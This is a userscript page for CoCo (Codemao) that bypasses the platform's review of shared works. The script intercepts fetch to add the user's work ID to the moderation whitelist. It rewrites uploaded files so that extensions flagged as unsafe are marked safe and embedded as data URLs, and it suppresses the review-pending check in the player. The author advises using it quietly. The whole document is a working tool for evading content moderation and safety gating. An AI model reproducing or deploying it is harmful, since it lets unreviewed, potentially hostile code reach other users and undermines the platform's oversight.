CoCo 作品分享审核绕过

绕过 CoCo 作品分享的审核机制,让他人可以看到你分享的作品,请低调使用

2024/04/27のページです。最新版はこちら

このスクリプトの質問や評価の投稿はこちら通報はこちらへお寄せください
// ==UserScript==
// @name         CoCo 作品分享审核绕过
// @namespace    https://s-lightning.github.io/
// @version      0.1.4
// @description  绕过 CoCo 作品分享的审核机制,让他人可以看到你分享的作品,请低调使用
// @author       SLIGHTNING
// @match        http://coco.codemao.cn/editor/*
// @match        https://coco.codemao.cn/editor/*
// @icon         https://coco.codemao.cn/favicon.ico
// @grant        none
// @license      GPL
// ==/UserScript==

(function() {
    'use strict';

    var originalFetch = fetch
    fetch = async function(input, init) {
        var response = await originalFetch(input, init)
        if (input == "https://static.codemao.cn/coco/whitelist.json") {
            try {
                var workID = location.search.match(/(?<=(\?|&)workId=)[0-9]+(?=$|&)/)
                if (workID == null) {
                    throw new Error("获取作品 ID 失败,可能因为作品未保存到云端,请将作品保存到云端后再尝试。")
                }
                var workID = Number(workID[0])
                if (workID == 0 || isNaN(workID)) {
                    throw new Error("获取作品 ID 失败,可能因为作品未保存到云端,请将作品保存到云端后再尝试。")
                }
                var whiteList = await response.json()
                whiteList.push(workID)
                return new Response(JSON.stringify(whiteList), {
                    ...response
                })
            } catch (error) {
                alert(`绕过审核失败:${error.message}`)
                return response
            }
        }
        return response
    }

    async function modifyReleaseFile(file) {
        addExtension(file)
        moveUnsafeToSafe(file.unsafeExtensionWidgetList, file.extensionWidgetList)
        delete file.blockJsonMap
    }

    function moveUnsafeToSafe(unsafeList, safeList) {
        var safeMap = {}
        safeList.forEach(safe => {
            safeMap[safe.type] = safe
        })
        var unsafe
        while (unsafe = unsafeList.shift()) {
            var sefe,
                cdnUrl = `data:text/plain;charset=UTF-8,${encodeURIComponent(unsafe.code)}//`,
                {type} = unsafe
            if (safe = safeMap[type]) {
                safe.cdnUrl = cdnUrl
            } else {
                var safe = {
                    id: Math.floor(Math.random() * 10000) + 10000,
                    type: type,
                    cdnUrl: cdnUrl
                }
                safeList.push(safe)
            }
        }
    }

    function addExtension(file) {
        file.extensionWidgetList.push({
            id: 0,
            type: "EXTENSION_SLIGHTNING_BYPASS_AUDIT",
            cdnUrl:
                "data:text/plain;charset=UTF-8," +
                encodeURIComponent(`
                    new Function(\`(${(() => {
                        "use strict";

                        if (!window.SLIGHTNING_BYPASS_AUDIT_STOP) {
                            window.SLIGHTNING_BYPASS_AUDIT_STOP = true

                            var originalAlert = alert
                            alert = function(message) {
                                if (message == "作品审核中,请稍后再试") {
                                    console.log(message)
                                    throw new Error("阻断 Player 检查自定义控件")
                                } else {
                                    originalAlert.apply(this, arguments)
                                }
                            }

                            var iframe = document.createElement("iframe")
                            iframe.src = location.href
                            var {style} = iframe
                            style.border = "none"
                            style.position = "fixed"
                            style.left = "0px"
                            style.top = "0px"
                            style.width = "100%"
                            style.height = "100%"
                            document.body.append(iframe)
                            var {contentWindow} = iframe
                            contentWindow.SLIGHTNING_BYPASS_AUDIT_STOP = true

                            var originalFetch = contentWindow.fetch
                            contentWindow.fetch = async function(input, init) {
                                var response = await originalFetch(input, init)
                                if (input == "https://static.codemao.cn/coco/whitelist.json") {
                                    var workID = Number(location.pathname.split("/").pop())
                                    var whiteList = await response.json()
                                    whiteList.push(workID)
                                    return new Response(JSON.stringify(whiteList), {
                                        ...response
                                    })
                                }
                                return response
                            }
                        }
                    }).toString()}) ()\`) ()
                    const types = {
                        type: "SLIGHTNING_BYPASS_AUDIT",
                        title: "审核绕过",
                        icon: "",
                        isInvisibleWidget: true,
                        isGlobalWidget: true,
                        properties: [],
                        methods: [],
                        events: []
                    }
                    class Widget extends InvisibleWidget {
                        constructor(props) {
                            super(props)
                        }
                    }
                    exports.types = types
                    exports.widget = Widget
                //`)
        })
    }

    var originalSend = XMLHttpRequest.prototype.send;
    XMLHttpRequest.prototype.send = function(data) {
        if (data instanceof FormData) {
            var fileName = data.get("fname"),
                originalFile = data.get("file")
            if (fileName == "test.json") {
                var xhr = this,
                    xhrArguments = arguments
                var reader = new FileReader()
                reader.readAsText(originalFile)
                reader.onload = async function() {
                    try {
                        var fileContent = JSON.parse(this.result.replaceAll("UNSAFE_EXTENSION_", "EXTENSION_"))
                        await modifyReleaseFile(fileContent)
                        var blob = new Blob([JSON.stringify(fileContent)], { type: "text/plain" })
                        var file = new File([blob], originalFile.name, { type: originalFile.type })
                        data.set("file", file)
                    } catch (error) {
                        console.error(error)
                        alert(`绕过审核失败:${error.message}`)
                    }
                    originalSend.apply(xhr, xhrArguments)
                }
            } else {
                originalSend.apply(this, arguments)
            }
        } else {
            originalSend.apply(this, arguments)
        }
    }
})()
长期地址
遇到问题?请前往 GitHub 提 Issues。